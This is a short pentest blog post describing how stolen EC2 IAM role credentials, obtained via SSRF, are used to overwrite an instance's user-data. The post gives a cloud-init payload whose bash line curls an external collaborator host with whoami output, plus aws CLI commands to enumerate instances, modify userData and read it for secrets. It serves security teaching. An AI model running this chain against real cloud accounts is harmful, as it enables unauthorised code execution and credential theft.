EC2 User-data to RCE

Rounak Dhadiwal
4 min readOct 29, 2023

--

Hi Guys, Today we are going to see how a single AWS misconfiguration can lead to remote code execution on an EC2 instance. In the upcoming series of blogs, I will be sharing some of my techniques that I use to get RCE on EC2’s during different pentests.

What is User-data in EC2

According to AWS “When you launch an instance in Amazon EC2, you have the option of passing user data to the instance that can be used to perform common automated configuration tasks and even run scripts after the instance starts. You can pass two types of user data to Amazon EC2: shell scripts and cloud-init directives.” You can find more details here.

So lets get Started

During a black box assessment, I was able to find an SSRF on an EC2 instance and was able to get IAM role credentials for the instance. You can find more details regarding EC2 SSRF here. For demo purposes, I have replicated the same scenario on my AWS infrastructure.

So the next question is what now. What are those keys ? How do i exploit those keys ?

So whenever a developer wants an instance to access any other AWS service, they create an IAM role and then attach the IAM role to the instance. Using this role, the EC2 instance can access other AWS services during runtime. You can find more details on how to attach an IAM role to an EC2 instance here.

So the next question is how we find which services this keys have access to during an black box assessment ? I prefer using the tool weirdAAL for the same.

So after enumeration i was able to find that keys have access to some API’s for EC2. If your facing issue while running weirldAAL, you can refer following document.

I found that i was able to modify instance user-data. User-data contain shell script or cloud-init directives that instance needs to run while booting for the first time. After some research i found that you can run cloud-init directives every time whenever a system restarts. So i decided to use the following code. More details about the code can be found here.

Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
curl http://i6p76otpl9evztt3nec3dro1dsjj79vy.oastify.com/?a=`whoami`
--//--

Note:- User-data will be executed whenever a stopped EC2 machine is restarted again. So modify the instance attribute of a stopped instance. So whenever anyone starts the instance, your code will be loaded.

To enumerate all the instance ids i used the following command.

aws ec2 describe-instances --region ap-southeast-2 | grep InstanceId

To modify the user data store your code in base64 from and use the following command.

aws ec2 modify-instance-attribute --instance-id i-087b2dfe70a253169 --attribute userData --value file://my_script_base64.txt --region ap-southeast-2

And once the EC2 was started back i got the hit on my collaborator server.

Note: — Even if you are not able to modify instance data try to view the user-data, as it may reveal many secret information like username, passwords, tokens, etc.

aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0

Reference: — https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html.

and don’t forgot to follow me on Linkdin.

Thank you for reading . 😊😊

--

--